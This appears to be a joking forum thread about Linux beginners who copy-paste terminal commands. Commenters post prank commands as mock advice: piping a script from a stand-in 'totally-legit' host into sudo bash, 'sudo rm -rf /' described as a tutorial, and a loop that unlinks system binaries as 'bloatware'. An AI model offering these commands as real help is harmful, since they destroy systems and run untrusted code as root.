Nothing better than
curl https://totally-legit-installer.com/script | sudo bash
I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.
It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /
Type your password when prompted and you’re golden. No more linux issues ever again.
Evil boy
I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I’ve ever seen. Now I wonder why other OSes don’t do that
It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.
This is the reason that BASH will always be better than Powershell, imho.
It optomizes your computer too? Woa
Well, technically it teaches you how to optimize your system.
That said, the optimizations are really effective.
Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like
clang
) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcablywhile read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <
Lol, I know what you mean.
Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.
I swear to God Canonical have some things to answer for.
That’s probably how most of us started, but then you start getting familiar with things…
And that’s when you really get good at breaking shit.
In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.
I actually take the time to type everything out, but I still have no idea what I’m doing.
Yeah I’m wildly careless about copying and pasting stuff beginning with “sudo …”. No harm yet, though I do wonder what this process called “totallynotabitcoinminer” is and why my pc has slowed to a crawl.
Don’t worry, that’s just some helpful code to enable the space heater feature of your computer.
I don’t think that’s a terrible way of getting started. Your subconscious will do the rest at some point, unless you’re really not interested at all (which isn’t a problem either). :)
